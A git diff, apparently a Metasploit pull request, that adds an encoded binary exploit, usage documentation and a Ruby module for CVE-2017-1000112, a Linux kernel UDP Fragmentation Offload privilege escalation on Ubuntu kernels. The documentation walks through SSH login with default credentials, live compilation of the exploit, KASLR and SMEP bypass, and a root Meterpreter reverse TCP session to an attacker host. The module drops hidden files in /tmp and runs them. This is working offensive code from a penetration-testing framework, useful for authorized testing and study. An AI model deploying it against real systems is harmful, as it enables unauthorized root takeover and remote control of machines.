z7_;jtacV_ie~I;*gh;=RdmPX~&C;2|C2c)Gp0t1zY+VPNC$_2)j(Zx?Or*Z$P6hTF z@L$Zn6taTt6Ks-)^s{A=2E9gK53*GID#cJ)k|gq*5Tc6KCsSBM{-O(+Dk!kA@2e>S z0UsB>G#0rJpRDzG7Ls=Ag2I}d8} z3Dgp>V~-M>6H1`UQHf0Z;o89WQ3VL6Q@VbT6!&UnCy&htmF=MShMOE%RAEyaT>!2I zM{v`sfZyV+bjOvH5JE~qMzFVG0M0}Oo-9HxY6`SdCR_nkCE2a8quW8fkUl8OLG-vB z)s`do{QSdhx9TG4k&%=u`+K1Zrh`BUP(4c*1uY#xjwEbO+Pg(Q0Ll{3-DBqp5_b_* zA*ts&JjU96*tQ8+=cflEVz0}_wGjlmX;zP)Un^piEcMU)L@Qa4RGCX^B9U?BVK1=M7CoO$EY`GP$)SuH-|_ z*OJcL${JP8PXcj|7_4+-f<_aq8}cI`hk?q6Uj3w@Di(}V3lIz2B!$Ncexj}5RBy!0;1d&&kd9JhCCI>h~t{kWU z7c|KM$qXCPI0VHc4nW98a#7Dg>c!(S{P_R}>N!`0_Jgwa9cTr{Mm+gE? z8Lu|vp~H>xuRCpH3Y(Z#Z{9PPh zpS7Me6PI%~NaEjPs1?}7B$D9@Pxc^qHsH~t;-W+h>r9%y8N zW890Bzd`e%UdK=CP3x7i*OmNDgO#Kn Jh71_x|37i^Ru2FG literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md b/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md new file mode 100644 index 0000000000..334859a52e --- /dev/null +++ b/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md @@ -0,0 +1,136 @@ +## Vulnerable Application + +This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO). + +The bug was initially introduced in October 2005 and patched in September 2017, potentially affecting a large +number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels +4.4.0-21 <= 4.4.0-89 (Trusty), and 4.4.0-81 <= 4.8.0-58 (Xenial), including Linux distros based on Ubuntu +such as Linux Mint. + +### Disabling SMAP + +[Original Instructions](https://github.com/rapid7/metasploit-framework/pull/9884#issuecomment-389607805) + +To disable `SMAP` on a system, edit `/etc/default/grub` and add `nosmap` to the `GRUB_CMDLINE_LINUX_DEFAULT` line. +Next, `sudo update-grub`, and reboot. + +To verify SMAP has been disabled, `grep smap /proc/cpuinfo` and nothing should be returned. + +## Verification Steps + + 1. Start msfconsole + 2. Get a shell on a vulnerable box + 3. Do: ```use exploit/linux/local/ufo_privilege_escalation``` + 4. Do: ```set session [#]``` + 5. Do: ```run``` + 6. You should get a root shell. + +## Options + + **WritableDir** + + A folder we can write files to. Defaults to /tmp + + **COMPILE** + + If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto + +## Compiled Executables + +The module makes use of a pre-compiled exploit executable to be +used when `gcc` is not available on the target host for live compiling, +or `COMPILE` is set to `False`. + +The executable was cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar). + +```bash +./x86_64-linux-musl-gcc -o exploit.out -pie -static exploit.c +``` + +## Scenarios + +### Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop + +#### Initial Access + +``` +resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login +resource (ubuntu.rb)> set rhosts 2.2.2.2 +rhosts => 2.2.2.2 +resource (ubuntu.rb)> set username ubuntu +username => ubuntu +resource (ubuntu.rb)> set password ubuntu +password => ubuntu +resource (ubuntu.rb)> exploit +[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) Linux ubuntu-desktop-14 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[*] Command shell session 1 opened (1.1.1.1:45819 -> 2.2.2.2:22) at 2018-04-03 20:58:32 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +#### Escalate + +In this scenario, gcc is installed so we can live compile on the system. + +``` +msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation +msf5 exploit(linux/local/ufo_privilege_escalation) > set verbose true +verbose => true +msf5 exploit(linux/local/ufo_privilege_escalation) > set session 1 +session => 1 +msf5 exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf5 exploit(linux/local/ufo_privilege_escalation) > exploit + +[!] SESSION may not be compatible with this module. +[*] Started reverse TCP handler on 1.1.1.1:4444 +[+] Linux kernel version 4.4.0-31-generic is vulnerable +[*] Checking if SMAP is enabled ... +[+] SMAP is not enabled +[+] System architecture x86_64 is supported +[+] Unprivileged user namespaces are permitted +[+] gcc is installed +[*] Live compiling exploit on system... +[*] Writing '/tmp/.4UnI1EFL.c' (28356 bytes) ... +[*] Max line length is 65537 +[*] Writing 28356 bytes in 2 chunks of 57414 bytes (octal-encoded), using printf +[*] Next chunk is 43454 bytes +[*] Writing '/tmp/.S6G2g9rnUj' (207 bytes) ... +[*] Max line length is 65537 +[*] Writing 207 bytes in 1 chunks of 629 bytes (octal-encoded), using printf +[*] Launching exploit ... +[*] Transmitting intermediate stager...(106 bytes) +[*] Sending stage (857352 bytes) to 2.2.2.2 +[*] [.] starting +[*] [.] checking kernel version +[*] [.] kernel version '4.4.0-31-generic' detected +[*] [~] done, version looks good +[*] [.] checking SMEP and SMAP +[*] [~] done, looks good +[*] [.] setting up namespace sandbox +[*] [~] done, namespace sandbox set up +[*] [.] KASLR bypass enabled, getting kernel addr +[*] [.] trying /proc/kallsyms... +[*] [.] trying /boot/System.map-4.4.0-31-generic... +[*] [-] open/read(/boot/System.map-4.4.0-31-generic) +[*] [.] trying syslog... +[*] [~] done, kernel addr: ffffffff81000000 +[*] [.] commit_creds: ffffffff8109d760 +[*] [.] prepare_kernel_cred: ffffffff8109da40 +[*] [.] SMEP bypass enabled, mmapping fake stack +[*] [~] done, fake stack mmapped +[*] [.] executing payload ffffffff8104516a +[*] [~] done, should be root now +[*] [.] checking if we got root +[*] [+] got r00t ^_^ +[*] Cleaning up /tmp/.S6G2g9rnUj and /tmp/.4UnI1EFL ... +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:60474) at 2018-07-21 13:35:49 -0400 + +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 14.04 (Linux 4.4.0-31-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > +``` diff --git a/modules/exploits/linux/local/ufo_privilege_escalation.rb b/modules/exploits/linux/local/ufo_privilege_escalation.rb new file mode 100644 index 0000000000..77798ba75f --- /dev/null +++ b/modules/exploits/linux/local/ufo_privilege_escalation.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges on Linux systems by abusing + UDP Fragmentation Offload (UFO). + + This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels + 4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros + based on Ubuntu, such as Linux Mint. + + The target system must have unprivileged user namespaces enabled + and SMAP disabled. + + Bypasses for SMEP and KASLR are included. Failed exploitation + may crash the kernel. + + This module has been tested successfully on various Ubuntu and Linux + Mint systems, including: + + Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop; + Ubuntu 16.04 4.8.0-53-generic; + Linux Mint 17.3 4.4.0-89-generic; + Linux Mint 18 4.8.0-58-generic + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrey Konovalov', # Discovery and C exploit + 'h00die', # Metasploit module + 'Brendan Coles' # Metasploit module + ], + 'DisclosureDate' => 'Aug 10 2017', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'CVE', '2017-1000112' ], + [ 'EDB', '43418' ], + [ 'BID', '100262' ], + [ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ], + [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ], + [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ], + [ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ], + [ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ], + [ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ] + ], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0)) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + cmd_exec "chmod +x #{path}" + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + version = kernel_release + unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ || + version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/ + vprint_error "Linux kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Linux kernel version #{version} is vulnerable" + + vprint_status 'Checking if SMAP is enabled ...' + if smap_enabled? + vprint_error 'SMAP is enabled' + return CheckCode::Safe + end + vprint_good 'SMAP is not enabled' + + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + unless userns_enabled? + vprint_error 'Unprivileged user namespaces are not permitted' + return CheckCode::Safe + end + vprint_good 'Unprivileged user namespaces are permitted' + + CheckCode::Appears + end + + def exploit + unless check == CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('exploit.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx executable_path, exploit_data('exploit.out') + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit ...' + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}" + output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path} ..." + rm_f executable_path + rm_f payload_path + end +end